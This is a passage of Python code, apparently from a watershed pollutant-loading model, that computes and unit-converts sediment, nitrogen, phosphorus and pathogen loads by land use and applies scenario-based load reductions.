z.n2 = z.AvLuSedYield[l] z.n6 = z.AvLuTotNitr[l] z.n13 = z.AvLuTotPhos[l] z.n6dn = z.AvLuDisNitr[l] z.n13dp = z.AvLuDisPhos[l] z.n24 = round(z.Area[l]) elif z.Landuse[l] is LandUse.CROPLAND: z.n1 = z.AvLuSedYield[l] z.n5 = z.AvLuTotNitr[l] z.n12 = z.AvLuTotPhos[l] z.n5dn = z.AvLuDisNitr[l] z.n12dp = z.AvLuDisPhos[l] z.n23 = round(z.Area[l]) elif z.Landuse[l] is LandUse.TURFGRASS: z.n2t = z.AvLuSedYield[l] z.n6t = z.AvLuTotNitr[l] z.n13t = z.AvLuTotPhos[l] z.n24t = round(z.Area[l]) elif z.Landuse[l] is LandUse.UNPAVED_ROAD: z.n2d = z.AvLuSedYield[l] z.n6d = z.AvLuTotNitr[l] z.n13d = z.AvLuTotPhos[l] z.n6ddn = z.AvLuDisNitr[l] z.n13ddp = z.AvLuDisPhos[l] else: AvOtherLuSed = AvOtherLuSed + z.AvLuSedYield[l] AvOtherLuNitr = AvOtherLuNitr + z.AvLuTotNitr[l] AvOtherLuPhos = AvOtherLuPhos + z.AvLuTotPhos[l] z.n2c = 0 z.n6c = 0 z.n13c = 0 z.n24b = 0 z.n2b = 0 z.n6b = 0 z.n13b = 0 z.n23b = 0 z.n6cdn = 0 z.n13cdp = 0 z.n6bdn = 0 z.n13bdp = 0 for l in range(z.NRur, z.NLU): if z.Landuse[l] in [LandUse.LD_MIXED, LandUse.LD_RESIDENTIAL]: z.n2c = z.n2c + z.AvLuSedYield[l] z.n6c = z.n6c + z.AvLuTotNitr[l] z.n13c = z.n13c + z.AvLuTotPhos[l] z.n6cdn = z.n6cdn + z.AvLuDisNitr[l] z.n13cdp = z.n13cdp + z.AvLuDisPhos[l] z.n24b = z.n24b + round(z.Area[l]) elif z.Landuse[l] in [LandUse.MD_MIXED, LandUse.HD_MIXED, LandUse.MD_RESIDENTIAL, LandUse.HD_RESIDENTIAL]: z.n2b = z.n2b + z.AvLuSedYield[l] z.n6b = z.n6b + z.AvLuTotNitr[l] z.n13b = z.n13b + z.AvLuTotPhos[l] z.n6bdn = z.n6bdn + z.AvLuDisNitr[l] z.n13bdp = z.n13bdp + z.AvLuDisPhos[l] z.n23b = z.n23b + round(z.Area[l]) # FOR POINT SOURCE YrPointNitr = 0 YrPointPhos = 0 for i in range(0, 12): YrPointNitr = YrPointNitr + z.PointNitr[i] YrPointPhos = YrPointPhos + z.PointPhos[i] # GET THE AVERAGE SEPTIC SYSTEM INFORMATION if z.SepticFlag is YesOrNo.YES: for i in range(12): TotSewerSys = TotSewerSys + z.NumSewerSys[i] TotNormSys = TotNormSys + z.NumNormalSys[i] TotShortSys = TotShortSys + z.NumShortSys[i] TotSeptSys = (TotSeptSys + z.NumNormalSys[i] + z.NumShortSys[i] + z.NumPondSys[i] + z.NumDischargeSys[i]) # Set the conversion factors from metric to english SedConvert = 1000 SedConvert = 1 # Get the animal nuntient loads z.GRLBP = z.AvGRLostBarnPSum z.NGLBP = z.AvNGLostBarnPSum z.NGLManP = z.AvNGLostManPSum # Get the fecal coliform values z.NGLBFC = z.AvNGLostBarnFCSum z.GRLBFC = z.AvGRLostBarnFCSum z.GRSFC = z.AvGRStreamFC z.GRSP = z.AvGRStreamP # Get the initial pathogen loads z.n139 = z.AvAnimalFCSum z.n140 = z.AvWWOrgsSum z.n146 = z.AvWWOrgsSum z.n141 = z.AvSSOrgsSum z.n147 = z.AvSSOrgsSum z.n142 = z.AvUrbOrgsSum z.n143 = z.AvWildOrgsSum z.n149 = z.AvWildOrgsSum # FARM ANIMAL LOADS z.n14b = z.AvAnimalPSum # Get the AEUs z.n41j = round(TotLAEU(z.NumAnimals, z.AvgAnimalWt)) z.n41k = round(TotPAEU_f(z.NumAnimals, z.AvgAnimalWt)) z.n41l = round(TotAEU_f(z.NumAnimals, z.AvgAnimalWt)) # CONVERT AVERAGE STREAM BANK ERIOSION, N AND P TO ENGLISH UNITS z.n4 = round(z.AvStreamBankErosSum * z.RetentFactorSed * (1 - z.AttenTSS) * SedConvert) z.n8 = round(AvStreamBankNSum_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap, z.SatStor_0, z.RecessionCoef, z.SeepCoef, z.Qretention, z.PctAreaInfil, z.n25b, z.Landuse, z.TileDrainDensity, z.PointFlow, z.StreamWithdrawal, z.GroundWithdrawal, z.NumAnimals, z.AvgAnimalWt, z.StreamFlowVolAdj, z.SedAFactor_0, z.AvKF, z.AvSlope, z.SedAAdjust, z.StreamLength, z.n42b, z.n46c, z.n85d, z.AgLength, z.n42, z.n54, z.n85, z.UrbBankStab, z.SedNitr, z.BankNFrac, z.n69c, z.n45, z.n69) * NPConvert * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN))) z.n15 = round(z.AvStreamBankPSum * NPConvert * z.RetentFactorP * (1 - z.AttenP)) # PERFORM LOAD REDUCTIONS BASED ON BMPS IN SCENARIO FILE LoadReductions.AdjustScnLoads(z) # CONVERT AVERAGE STREAM BANK ERIOSION, N AND P TO ENGLISH UNITS z.AvStreamBankErosSum = z.n4 z.AvStreamBankNSum = z.n8 z.AvStreamBankPSum = z.n15 z.AvAnimalFCSum = z.n145 z.AvUrbOrgsSum = z.n148 # Get the FC reduction for monthly loads UrbanFCFrac = 0 FarmFCFrac = 0 if z.n139 > 0: FarmFCFrac = z.n145 / z.n139 if z.n142 > 0: UrbanFCFrac = z.n148 / z.n142 for i in range(12): z.AvAnimalFC[i] = z.AvAnimalFC[i] * FarmFCFrac z.AvUrbOrgs[i] = z.AvUrbOrgs[i] * UrbanFCFrac # Reset the existing urban and animal FC loads to the reduced future loads, n145 and n148 z.n139 = z.n145 z.n142 = z.n148 # Initial pathogen total load z.n144 = z.n139 + z.n140 + z.n141 + z.n142 + z.n143 # Reduced total pathogen loads z.n150 = z.n145 + z.n146 + z.n147 + z.n148 + z.n149 z.AvTotalOrgsSum = z.n150 # FARM ANIMAL LOAD REDUCTION FOR N AND P z.AvAnimalPSum = z.n14b z.n14b = z.n14b * NPConvert z.GRLBP = z.GRLBP * NPConvert z.NGLBP = z.NGLBP * NPConvert z.NGLManP = z.NGLManP * NPConvert z.GRSP = z.AvGRStreamP * NPConvert # RESET GWLF OUTPUT VALUES FOR RURAL LANDUSE TO REDUCED LOADS AND CONVERT SCENARIO VALUES for l in range(z.NLU): if z.Landuse[l] is LandUse.HAY_PAST: z.AvLuSedYield[l] = z.n2 z.AvLuTotNitr[l] = z.n6 z.AvLuTotPhos[l] = z.n13 z.AvLuDisNitr[l] = z.n6dn z.AvLuDisPhos[l] = z.n13dp if z.AvLuDisNitr[l] > z.AvLuTotNitr[l]: z.AvLuDisNitr[l] = z.AvLuTotNitr[l] if z.AvLuDisPhos[l] > z.AvLuTotPhos[l]: z.AvLuDisPhos[l] = z.AvLuTotPhos[l] z.n2 = round(z.AvLuSedYield[l] * SedConvert) z.n6 = round(z.AvLuTotNitr[l] * NPConvert) z.n13 = round(z.AvLuTotPhos[l] * NPConvert) if z.Area[l] > 0: AreaSum[2] = AreaSum[2] + z.Area[l] elif z.Landuse[l] is LandUse.CROPLAND: z.AvLuSedYield[l] = z.n1 z.AvLuTotNitr[l] = z.n5 z.AvLuTotPhos[l] = z.n12 z.AvLuDisNitr[l] = z.n5dn z.AvLuDisPhos[l] = z.n12dp if z.AvLuDisNitr[l] > z.AvLuTotNitr[l]: z.AvLuDisNitr[l] = z.AvLuTotNitr[l] if z.AvLuDisPhos[l] > z.AvLuTotPhos[l]: z.AvLuDisPhos[l] = z.AvLuTotPhos[l] z.n1 = round(z.AvLuSedYield[l] * SedConvert) z.n5 = round(z.AvLuTotNitr[l] * NPConvert) z.n12 = round(z.AvLuTotPhos[l] * NPConvert) if z.Area[l] > 0: AreaSum[3] = AreaSum[3] + z.Area[l] elif z.Landuse[l] is LandUse.UNPAVED_ROAD: z.AvLuSedYield[l] = z.n2d z.AvLuTotNitr[l] = z.n6d z.AvLuTotPhos[l] = z.n13d z.AvLuDisNitr[l] = z.n6ddn z.AvLuDisPhos[l] = z.n13ddp if z.AvLuDisNitr[l] > z.AvLuTotNitr[l]: z.AvLuDisNitr[l] = z.AvLuTotNitr[l] if z.AvLuDisPhos[l] > z.AvLuTotPhos[l]: z.AvLuDisPhos[l] = z.AvLuTotPhos[l] z.n2d = round(z.AvLuSedYield[l] * SedConvert) z.n6d = round(z.AvLuTotNitr[l] * NPConvert) z.n13d = round(z.AvLuTotPhos[l] * NPConvert) if z.Area[l] > 0: AreaSum[6] = AreaSum[6] + z.Area[l] if z.AvLuDisNitr[l] > z.AvLuTotNitr[l]: z.AvLuDisNitr[l] = z.AvLuTotNitr[l] if z.AvLuDisPhos[l] > z.AvLuTotPhos[l]: z.AvLuDisPhos[l] = z.AvLuTotPhos[l] # GET THE AVERAGE TOTAL LOADS BY SOURCE TotAvLuErosion = TotAvLuErosion + z.AvLuErosion[l] AvTotalSed = AvTotalSed + z.AvLuSedYield[l] AvDisN = AvDisN + z.AvLuDisNitr[l] AvTotalN = AvTotalN + z.AvLuTotNitr[l] AvDisP = AvDisP + z.AvLuDisPhos[l] AvTotalP = AvTotalP + z.AvLuTotPhos[l] # Reset the urban landuse values for l in range(z.NRur, z.NLU): if z.n24b > 0 and z.Landuse[l] in [LandUse.LD_MIXED, LandUse.LD_RESIDENTIAL]: z.AvLuSedYield[l] = z.n2c * z.Area[l] / z.n24b z.AvLuTotNitr[l] = z.n6c * z.Area[l] / z.n24b z.AvLuTotPhos[l] = z.n13c * z.Area[l] / z.n24b z.AvLuDisNitr[l] = z.n6cdn * z.Area[l] / z.n24b z.AvLuDisPhos[l] = z.n13cdp * z.Area[l] / z.n24b if z.AvLuDisNitr[l] > z.AvLuTotNitr[l]: z.AvLuDisNitr[l] = z.AvLuTotNitr[l] if z.AvLuDisPhos[l] > z.AvLuTotPhos[l]: z.AvLuDisPhos[l] = z.AvLuTotPhos[l] if z.Area[l] > 0: AreaSum[0] = AreaSum[0] + z.Area[l] elif z.n23b > 0 and z.Landuse[l] in [LandUse.MD_MIXED, LandUse.HD_MIXED, LandUse.MD_RESIDENTIAL, LandUse.HD_RESIDENTIAL]: z.AvLuSedYield[l] = z.n2b * z.Area[l] / z.n23b z.AvLuTotNitr[l] = z.n6b * z.Area[l] / z.n23b z.AvLuTotPhos[l] = z.n13b * z.Area[l] / z.n23b z.AvLuDisNitr[l] = z.n6bdn * z.Area[l] / z.n23b z.AvLuDisPhos[l] = z.n13bdp * z.Area[l] / z.n23b if z.AvLuDisNitr[l] > z.AvLuTotNitr[l]: z.AvLuDisNitr[l] = z.AvLuTotNitr[l] if z.AvLuDisPhos[l] > z.AvLuTotPhos[l]: z.AvLuDisPhos[l] = z.AvLuTotPhos[l] if z.Area[l] > 0: AreaSum[1] = AreaSum[1] + z.Area[l] z.n2c = round(z.n2c * SedConvert) z.n6c = round(z.n6c * NPConvert) z.n13c = round(z.n13c * NPConvert) z.n2b = round(z.n2b * SedConvert) z.n6b = round(z.n6b * NPConvert) z.n13b = round(z.n13b * NPConvert) # FORMAT VALUES FOR PREDICT SCENARIO FILE z.n22 = round(AreaTotal_f(z.Area), 0) # OBTAIN THE AVERAGE TOTAL MONTHLY LOADS AvMonDisN = 0 AvMonTotN = 0 AvMonDisP = 0 AvMonTotP = 0 AvMonSed = 0 AvMonEros = 0 for i in range(12): AvMonEros = AvMonEros + \ AvErosion_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap, z.SatStor_0, z.RecessionCoef, z.SeepCoef, z.Qretention, z.PctAreaInfil, z.n25b, z.Landuse, z.TileDrainDensity, z.PointFlow, z.StreamWithdrawal, z.GroundWithdrawal, z.NumAnimals, z.AvgAnimalWt, z.StreamFlowVolAdj, z.SedAFactor_0, z.AvKF, z.AvSlope, z.SedAAdjust, z.StreamLength, z.n42b, z.n46c, z.n85d, z.AgLength, z.n42, z.n45, z.n85, z.UrbBankStab, z.SedDelivRatio_0, z.Acoef, z.KF, z.LS, z.C, z.P)[i] AvMonSed = AvMonSed + ( AvSedYield_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap, z.SatStor_0, z.RecessionCoef, z.SeepCoef, z.Qretention, z.PctAreaInfil, z.n25b, z.Landuse, z.TileDrainDensity, z.PointFlow, z.StreamWithdrawal, z.GroundWithdrawal, z.NumAnimals, z.AvgAnimalWt, z.StreamFlowVolAdj, z.SedAFactor_0, z.AvKF, z.AvSlope, z.SedAAdjust, z.StreamLength, z.n42b, z.n46c, z.n85d, z.AgLength, z.n42, z.n45, z.n85, z.UrbBankStab, z.Acoef, z.KF, z.LS, z.C, z.P, z.SedDelivRatio_0) * z.RetentFactorSed * (1 - z.AttenTSS)) AvMonDisN = AvMonDisN + (z.AvDisNitr[i] * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN))) AvMonTotN = AvMonTotN + (z.AvTotNitr[i] * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN))) AvMonDisP = AvMonDisP + (z.AvDisPhos[i] * z.RetentFactorP * (1 - z.AttenP)) AvMonTotP = AvMonTotP + (z.AvTotPhos[i] * z.RetentFactorP * (1 - z.AttenP)) # OBTAIN THE MONTHLY SEPTIC SYSTEM AND SEWER POPULATION VALUES z.n47 = round(TotSeptSys / 12) z.n49 = round(TotSeptSys / 12) z.n53 = round(TotSewerSys / 12) # CONVERT GROUNDWATER N AND P REDUCED LOADS INTO ENGLISH UNIST FOR THE PREDICT SCENARIO FILE z.n9 = round(((z.AvGroundNitrSum + z.AvTileDrainNSum) * NPConvert * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)))) z.n16 = round(((z.AvGroundPhosSum + z.AvTileDrainPSum) * NPConvert * z.RetentFactorP * (1 - z.AttenP))) # CONVERT ANNUAL POINT N AND P TO ENGLISH UNITS z.n10 = round((YrPointNitr * NPConvert * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)))) z.n17 = round((YrPointPhos * NPConvert * z.RetentFactorP * (1 - z.AttenP))) # CONVERT AVERAGE SEPTIC N AND P TO ENGLISH UNITS z.n11 = round((z.AvSeptNitr * NPConvert * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)))) z.n18 = round((z.AvSeptPhos * NPConvert * z.RetentFactorP * (1 - z.AttenP))) # ENTER THE OTHER SEDIMENT, N AND P INTO FIELDS z.n3 = round(((AvOtherLuSed + ((z.AvTileDrainSedSum * z.RetentFactorSed * (1 - z.AttenTSS)) / 1000)) * SedConvert)) z.n7 = round((AvOtherLuNitr * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)) * NPConvert)) z.n14 = round((AvOtherLuPhos * z.RetentFactorP * (1 - z.AttenP) * NPConvert)) # ADD TURF TO HAY/PASTURE z.n2 = z.n2 + (n2t * SedConvert) z.n6 = z.n6 + (n6t * NPConvert) z.n13 = z.n13 + (n13t * NPConvert) z.n24 = z.n24 + n24t # Multiply sediment loads by 1000 to get them into Kg before writing to PRedICT section of file z.n1 = z.n1 * 1000 z.n2 = z.n2 * 1000 z.n2b = z.n2b * 1000 z.n2c = z.n2c * 1000 z.n2d = z.n2d * 1000 z.n3 = z.n3 * 1000 # Obtain the totals for sed, z.n az.nd P # Obtain the totals for sed, N and P z.n19 = z.n1 + z.n2 + z.n2b + z.n2c + z.n2d + z.n3 + z.n4 z.n20 = z.n5 + z.n6 + z.n6b + z.n6c + z.n6d + z.n7 + N7b_1_f(z.NYrs, z.GrazingAnimal_0, z.NumAnimals, z.AvgAnimalWt, z.AnimalDailyN, z.NGAppNRate, z.NGPctSoilIncRate, z.GRAppNRate, z.GRPctSoilIncRate, z.GrazingNRate, z.GRPctManApp, z.PctGrazing, z.GRBarnNRate, z.Prec, z.DaysMonth, z.AWMSGrPct, z.GrAWMSCoeffN, z.RunContPct, z.RunConCoeffN, z.n41b, z.n85h, z.NGPctManApp, z.AWMSNgPct, z.NGBarnNRate, z.NgAWMSCoeffN, z.n41d, z.n85j, z.n41f, z.n85l, z.PctStreams, z.n42, z.n45, z.n69, z.n43, z.n64) + z.n8 + z.n9 + z.n10 + z.n11 z.n21 = z.n12 + z.n13 + z.n13b + z.n13c + z.n13d + z.n14 + z.n14b + z.n15 + z.n16 + z.n17 + z.n18 # TODO: Port WriteDailyFlowFile if needed # WRITE OUTPUT TO THE FILE FOR DAILy Flow # WriteDailyFlowFile # SET THE SCENARIO VALUES TO LANDUSE LOADS\ AvOtherLuSed = 0 AvOtherLuPhos = 0 for y in range(z.NYrs): z.n2c = 0 z.n6c = 0 z.n13c = 0 z.n2b = 0 z.n6b = 0 z.n13b = 0 z.n6cdn = 0 z.n13cdp = 0 z.n6bdn = 0 z.n13bdp = 0 for l in range(z.NLU): z.LuSedYield[y][l] = round((z.LuSedYield[y][l] * z.RetentFactorSed * (1 - z.AttenTSS))) z.LuDisNitr[y][l] = round((z.LuDisNitr[y][l] * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)))) z.LuDisPhos[y][l] = round((z.LuDisPhos[y][l] * z.RetentFactorP * (1 - z.AttenP))) z.LuTotPhos_1[y][l] = round( (LuTotPhos_f(z.NYrs, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.NRur, z.NUrb, z.CN, z.Grow_0, z.Area, z.PhosConc, z.ManPhos, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.Nqual, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.SedPhos, z.CNI_0)[y][l] * z.RetentFactorP * (1 - z.AttenP))) if z.Landuse[l] is LandUse.HAY_PAST: z.n2 = z.LuSedYield[y][l] z.n6 = \ LuTotNitr_1_f(z.NYrs, z.NRur, z.NUrb, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.CN, z.Grow_0, z.Area, z.NitrConc, z.ManNitr, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.SedNitr, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.CNI_0, z.Nqual, z.ShedAreaDrainLake, z.RetentNLake, z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)[y][l] z.n13 = z.LuTotPhos_1[y][l] z.n6dn = z.LuDisNitr[y][l] z.n13dp = z.LuDisPhos[y][l] elif z.Landuse[l] is LandUse.CROPLAND: z.n1 = z.LuSedYield[y][l] z.n5 = \ LuTotNitr_1_f(z.NYrs, z.NRur, z.NUrb, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.CN, z.Grow_0, z.Area, z.NitrConc, z.ManNitr, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.SedNitr, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.CNI_0, z.Nqual, z.ShedAreaDrainLake, z.RetentNLake, z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)[y][l] z.n12 = z.LuTotPhos_1[y][l] z.n5dn = z.LuDisNitr[y][l] z.n12dp = z.LuDisPhos[y][l] elif z.Landuse[l] is LandUse.UNPAVED_ROAD: z.n2d = z.LuSedYield[y][l] z.n6d = \ LuTotNitr_1_f(z.NYrs, z.NRur, z.NUrb, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.CN, z.Grow_0, z.Area, z.NitrConc, z.ManNitr, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.SedNitr, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.CNI_0, z.Nqual, z.ShedAreaDrainLake, z.RetentNLake, z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)[y][l] z.n13d = z.LuTotPhos_1[y][l] z.n6ddn = z.LuDisNitr[y][l] z.n13ddp = z.LuDisPhos[y][l] elif z.Landuse[l] is LandUse.TURFGRASS: z.n2t = z.LuSedYield[y][l] z.n6t = \ LuTotNitr_1_f(z.NYrs, z.NRur, z.NUrb, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.CN, z.Grow_0, z.Area, z.NitrConc, z.ManNitr, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.SedNitr, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.CNI_0, z.Nqual, z.ShedAreaDrainLake, z.RetentNLake, z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)[y][l] z.n13t = z.LuTotPhos_1[y][l] else: AvOtherLuSed = AvOtherLuSed + z.LuSedYield[y][l] AvOtherLuPhos = AvOtherLuPhos + z.LuTotPhos_1[y][l] if z.Landuse[l] in [LandUse.LD_MIXED, LandUse.LD_RESIDENTIAL]: z.n2c = z.n2c + z.LuSedYield[y][l] z.n6c = z.n6c + \ LuTotNitr_1_f(z.NYrs, z.NRur, z.NUrb, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.CN, z.Grow_0, z.Area, z.NitrConc, z.ManNitr, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.SedNitr, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.CNI_0, z.Nqual, z.ShedAreaDrainLake, z.RetentNLake, z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)[y][l] z.n13c = z.n13c + z.LuTotPhos_1[y][l] z.n6cdn = z.n6cdn + z.LuDisNitr[y][l] z.n13cdp = z.n13cdp + z.LuDisPhos[y][l] elif z.Landuse[l] in [LandUse.MD_MIXED, LandUse.HD_MIXED, LandUse.MD_RESIDENTIAL, LandUse.HD_RESIDENTIAL]: z.n2b = z.n2b + z.LuSedYield[y][l] z.n6b = z.n6b + \ LuTotNitr_1_f(z.NYrs, z.NRur, z.NUrb, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.CN, z.Grow_0, z.Area, z.NitrConc, z.ManNitr, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.SedNitr, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.CNI_0, z.Nqual, z.ShedAreaDrainLake, z.RetentNLake, z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)[y][l] z.n13b = z.n13b + z.LuTotPhos_1[y][l] z.n6bdn = z.n6bdn + z.LuDisNitr[y][l] z.n13bdp = z.n13bdp + z.LuDisPhos[y][l] # Convert animal loads into English units z.GRLBP = z.GRLostBarnPSum[y] z.NGLBP = z.NGLostBarnPSum[y] z.NGLManP = z.NGLostManPSum[y] # Get the fecal coliform values z.NGLBFC = z.NGLostBarnFCSum[y] z.GRLBFC = z.GRLostBarnFCSum[y] z.GRSFC = z.AvGRStreamFC z.GRSP = z.AvGRStreamP # Get the initial pathogen loads z.n139 = z.AnimalFCSum[y] z.n140 = z.WWOrgsSum[y] z.n146 = z.WWOrgsSum[y] z.n141 = z.SSOrgsSum[y] z.n147 = z.SSOrgsSum[y] z.n142 = z.UrbOrgsSum[y] z.n143 = z.WildOrgsSum[y] z.n149 = z.WildOrgsSum[y] # Initial pathogen total load z.n144 = z.n139 + z.n140 + z.n141 + z.n142 + z.n143 # FARM ANIMAL LOADS n7b = z.AnimalNSum[y] # BUG: This is a bug in the original code. # This should be AnimalPSum n14b = z.AnimalNSum[y] # CONVERT AVERAGE STREAM BANK ERIOSION, N AND P TO ENGLISH UNITS z.n4 = round((z.StreamBankErosSum[y] * z.RetentFactorSed * (1 - z.AttenTSS) * SedConvert)) z.n8 = round((StreamBankNSum_f(z.NYrs, z.DaysMonth, z.Temp, z.InitSnow_0, z.Prec, z.NRur, z.NUrb, z.Area, z.CNI_0, z.AntMoist_0, z.Grow_0, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.CN, z.UnsatStor_0, z.KV, z.PcntET, z.DayHrs, z.MaxWaterCap, z.SatStor_0, z.RecessionCoef, z.SeepCoef, z.Qretention, z.PctAreaInfil, z.n25b, z.Landuse, z.TileDrainDensity, z.PointFlow, z.StreamWithdrawal, z.GroundWithdrawal, z.NumAnimals, z.AvgAnimalWt, z.StreamFlowVolAdj, z.SedAFactor_0, z.AvKF, z.AvSlope, z.SedAAdjust, z.StreamLength, z.n42b, z.AgLength, z.UrbBankStab, z.SedNitr, z.BankNFrac, z.n69c, z.n45, z.n69, z.n46c, z.n42)[ y] * NPConvert * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)))) z.n15 = round((z.StreamBankPSum[y] * NPConvert * z.RetentFactorP * (1 - z.AttenP))) # PERFORM LOAD REDUCTIONS BASED ON BMPS IN SCENARIO FILE LoadReductions.AdjustScnLoads(z) # CONVERT AVERAGE STREAM BANK ERIOSION, N AND P TO ENGLISH UNITS z.StreamBankErosSum[y] = z.n4 z.StreamBankPSum[y] = z.n15 z.AnimalFCSum[y] = z.n145 z.UrbOrgsSum[y] = z.n148 # Get the FC reduction for monthly loads UrbanFCFrac = 0 FarmFCFrac = 0 if z.n139 > 0: FarmFCFrac = z.n145 / z.n139 if z.n142 > 0: UrbanFCFrac = z.n148 / z.n142 for i in range(12): z.AnimalFCSum[y] *= FarmFCFrac z.UrbOrgsSum[y] *= UrbanFCFrac # Reduced total pathogen loads n150 = z.n145 + z.n146 + z.n147 + z.n148 + z.n149 z.TotalOrgsSum[y] = n150 # FARM ANIMAL LOADS z.AnimalNSum[y] = n7b # BUG: This is a bug in the original code. # This should be AnimalPSum z.AnimalNSum[y] = n14b # FOR ALL LAND USES z.TotDisNitr = 0 z.TotTotNitr = 0 z.TotDisPhos = 0 z.TotTotPhos = 0 z.TotSedyield = 0 z.LuTotNitr_2[y] = \ LuTotNitr_1_f(z.NYrs, z.NRur, z.NUrb, z.DaysMonth, z.InitSnow_0, z.Temp, z.Prec, z.AntMoist_0, z.CN, z.Grow_0, z.Area, z.NitrConc, z.ManNitr, z.ManuredAreas, z.FirstManureMonth, z.LastManureMonth, z.FirstManureMonth2, z.LastManureMonth2, z.SedDelivRatio_0, z.KF, z.LS, z.C, z.P, z.SedNitr, z.CNP_0, z.Imper, z.ISRR, z.ISRA, z.Qretention, z.PctAreaInfil, z.LoadRateImp, z.LoadRatePerv, z.Storm, z.UrbBMPRed, z.FilterWidth, z.PctStrmBuf, z.Acoef, z.CNI_0, z.Nqual, z.ShedAreaDrainLake, z.RetentNLake, z.AttenFlowDist, z.AttenFlowVel, 